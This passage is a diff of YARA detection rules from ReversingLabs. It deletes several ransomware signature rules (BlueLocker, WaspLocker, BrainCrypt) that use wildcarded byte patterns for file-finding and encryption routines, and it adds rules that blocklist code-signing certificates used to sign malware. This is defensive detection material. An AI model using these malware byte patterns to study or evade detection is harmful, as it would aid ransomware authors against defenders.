4D ?? 8B 55 ?? 8B 45 ?? 85 C0 75 ?? - 8B 45 ?? 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 30 EB ?? 50 E8 ?? ?? ?? ?? 59 EB ?? 8B 04 8D ?? ?? ?? ?? F6 44 10 ?? ?? 74 - ?? 80 3B ?? 75 ?? 33 C0 EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 20 - ?? 83 C8 ?? EB ?? 2B 45 ?? 5F 5B 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Joerm.com" and pe.signatures [ i ] . serial == "53:89:cc:62:86:da:3b:fa:1d:c4:df:49:8b:f6:83:61" and 1495497600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Ed9Caeb7911B31Bd : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "1eeff730-c2ce-5689-a8cb-455618738a82" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14148-L14166" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "02cfdf883212387a465af3e692b29b8d0eb8249e0a260f18bec2f662d775b606" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $skip_hk_china_taiwan_p* ) ) and ( all of ( $find_files_* ) ) and ( $crypt_files ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE5\\xA4\\xA9\\xE6\\xB8\\xB8\\xE8\\xBD\\xAF\\xE4\\xBB\\xB6\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:ed:9c:ae:b7:91:1b:31:bd" or pe.signatures [ i ] . serial == "ed:9c:ae:b7:91:1b:31:bd" ) and 1506001740 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Bluelocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0Fd2B19A941B7009Cc728A37Cb1B10B9 : INFO FILE { meta: - description = "Yara rule that detects BlueLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "145ff05e-c90d-598a-a3d5-220bd6df718a" - date = "2022-08-04" - modified = "2022-08-04" + id = "125c0b95-82bb-5900-8e8c-4359b8cd18ab" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlueLocker.yara#L1-L130" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14168-L14184" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbe5f246f4554e63b5da6a0aca169e8221a84fce18fd437ae7ad9b068e9ca576" + logic_hash = "6b5cc47f4df9e57c59bc66c32188e02390d4855a1b9e56bd7471fd641a245c3c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BlueLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 8B 75 ?? 57 - 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 89 55 ?? 89 75 ?? - 89 45 ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 - ?? ?? ?? ?? 8B 55 ?? 33 C9 0B C8 89 55 ?? 89 4D ?? 83 FB ?? 75 ?? 0B C3 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B - F0 FF 15 ?? ?? ?? ?? 33 C9 03 F0 83 C6 ?? 0F 92 C1 F7 D9 0B CE 51 E8 ?? ?? ?? ?? 8B - F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF 75 ?? - 56 E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 0F 8C ?? ?? - ?? ?? 8B 45 ?? 0F 8F ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 85 C9 0F 8F ?? ?? - ?? ?? 7C ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D - 4D ?? D1 E8 89 45 ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 - } - $encrypt_files_p2 = { - 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B - C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? - 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? - 0B C8 53 89 4D ?? FF D7 33 F6 8D 45 ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? FF 75 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 53 FF D7 6A - ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8B 45 ?? 03 F0 3B 75 ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 6A ?? 8D - 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? - ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 73 ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B - 3D ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B 3D - ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F - } - $encrypt_files_p3 = { - 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? - ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 - 4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 - 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? 0B C8 53 89 4D ?? FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? - 6A ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 85 C0 74 ?? FF 75 ?? BA ?? ?? ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 - 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 81 7D ?? ?? ?? ?? ?? 72 ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 - 85 C0 75 ?? 8B 75 ?? 6A ?? 0F 57 C0 6A ?? 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF D7 - 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 89 55 ?? C7 - 45 ?? ?? ?? ?? ?? 85 D2 74 ?? 8B FA B9 ?? ?? ?? ?? F3 A5 8B 4D ?? 68 ?? ?? ?? ?? 8B - 01 8B 49 ?? 89 82 ?? ?? ?? ?? 8D 45 ?? 50 52 6A ?? 6A ?? 6A ?? FF 75 ?? 89 8A ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF 15 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 EB ?? 83 CE ?? 85 DB 74 ?? 53 FF 15 ?? - ?? ?? ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 E8 ?? ?? ?? ?? 8B - 4D ?? 83 C4 ?? 8B C6 33 CD 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files_p1 = { - FF 74 B4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 46 83 - FE ?? 7C ?? FF 74 24 ?? FF D7 68 ?? ?? ?? ?? 8B F0 FF D7 03 F0 8D 84 24 ?? ?? ?? ?? - 6A ?? 50 FF D7 8D 0C 06 33 C0 83 C1 ?? 0F 92 C0 F7 D8 0B C1 50 E8 ?? ?? ?? ?? 8B F0 - 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 ?? ?? ?? - ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? - ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? 83 C7 ?? 57 FF 15 ?? ?? ?? - ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 85 C9 74 ?? 8B 54 24 ?? C7 01 ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? 83 7A ?? ?? 75 ?? 89 4A ?? 89 4A ?? 57 89 31 FF 15 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 42 ?? 89 48 ?? 8B 42 ?? 8B 40 ?? 89 42 ?? 89 30 57 FF 15 ?? ?? - ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 B4 ?? 8D 84 24 - } - $find_files_p2 = { - 50 FF D3 85 C0 0F 85 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 6A ?? FF 74 24 ?? FF D7 8B F0 8D - 84 24 ?? ?? ?? ?? 50 FF D7 03 F0 33 C0 83 C6 ?? 0F 92 C0 F7 D8 0B C6 50 E8 ?? ?? ?? - ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 - E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 56 E8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? E8 ?? ?? - ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 EB ?? 57 68 ?? ?? ?? - ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 8B 54 24 ?? 53 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? - 57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 8B 35 ?? ?? - ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 - } - $create_crypt_context = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? - ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 C8 ?? 8B 4D ?? 33 CD E8 ?? ?? ?? - ?? 8B E5 5D C2 ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 6A ?? 50 FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF - D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 75 ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 68 ?? ?? ?? ?? 56 6A ?? - FF 15 ?? ?? ?? ?? 8D 45 ?? 89 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D - 04 45 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? - ?? ?? ?? 85 C0 75 ?? 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8B 45 ?? 5E 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? - 33 C0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $create_crypt_context ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BEAR AND CILLA LTD" and pe.signatures [ i ] . serial == "0f:d2:b1:9a:94:1b:70:09:cc:72:8a:37:cb:1b:10:b9" and 1560470400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Wasplocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2D88C0Af1Fe2609961C171213C03Bd23 : INFO FILE { meta: - description = "Yara rule that detects WaspLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "596bf965-700a-58f5-b0e5-61ec57c23a3e" - date = "2022-06-28" - modified = "2022-06-28" + id = "0e844bef-1cfe-5eba-af4d-d8477e55470c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WaspLocker.yara#L1-L76" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14186-L14202" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "852ec52328fca36d651e3176ac33a57ce26cefecadc2aad27235548e5b9813c1" + logic_hash = "2d181b9b517732f14d196c1a6c5661d8de4dbbfe6f120954dd3f9dcad00ff0fe" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WaspLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 50 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 - 75 ?? 57 53 E8 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - A8 ?? 75 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 3B 85 ?? ?? ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 59 03 C2 B9 ?? ?? ?? ?? 3B C1 - 7D ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? EB ?? 85 DB 0F 84 - ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 85 FF 75 ?? 33 C0 EB ?? 57 E8 ?? ?? ?? ?? 59 50 57 - 8D 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 40 E8 ?? ?? ?? - ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 - F6 89 75 ?? 33 FF 89 7D ?? 21 75 ?? 21 75 ?? 39 3D ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 - ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B F0 89 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2 - } - $drop_aux_files = { - A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 6A ?? 66 89 41 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 56 6A ?? FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF 15 - ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B - F0 83 C4 ?? 85 F6 74 ?? 56 FF B5 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 - E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 - ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 6A ?? 56 FF 15 ?? ?? - ?? ?? 50 89 85 ?? ?? ?? ?? E8 - } - $drop_ransom_notes = { - 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 - 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? B9 ?? ?? ?? ?? 8D - 51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 - C0 ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 84 C0 75 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $drop_aux_files ) and ( $drop_ransom_notes ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zhuzhou Lizhong Precision Manufacturing Technology Co., Ltd." and pe.signatures [ i ] . serial == "2d:88:c0:af:1f:e2:60:99:61:c1:71:21:3c:03:bd:23" and 1683676800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Braincrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6E7Cc176062D91225Cfdcbdf5B5F0Ea5 : INFO FILE { meta: - description = "Yara rule that detects BrainCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "190798d5-594d-5b80-aa0e-8d7ff167f1c0" - date = "2020-06-26" - modified = "2020-07-15" + id = "cb6ae82f-ac1e-528d-aa17-6dc14019793c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BrainCrypt.yara#L1-L121" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14204-L14220" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "85866d6ffa136bf3ed27bbab55ae5430af4a1363930ebacab0df9ad24f8734cb" + logic_hash = "1d2ffa7ec3559061432c2aff23f568cb580fb9093d0af7d8a6a0b91add89c9cc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BrainCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $get_files_for_encryption_32 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 80 7C 24 - ?? ?? 74 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? - E8 ?? ?? ?? ?? 83 C4 ?? C3 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? - 83 C3 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? - ?? 8B 1D ?? ?? ?? ?? 83 C3 ?? 8D 7C 24 ?? FC 8B 0B 89 0F 8B 4B ?? 89 4F ?? E8 ?? ?? - ?? ?? 8B 5C 24 ?? 89 1D ?? ?? ?? ?? 8B 5C 24 ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 89 1D ?? - ?? ?? ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? E8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0C 24 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 4C 24 ?? 89 - 4C 24 ?? 89 44 24 ?? 89 44 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? BD ?? ?? ?? ?? 89 2C 24 89 5C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9 - } - $encrypt_file_32 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 5C 24 - ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 8B 44 24 - ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? - 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 - ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 54 24 ?? - 89 54 24 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 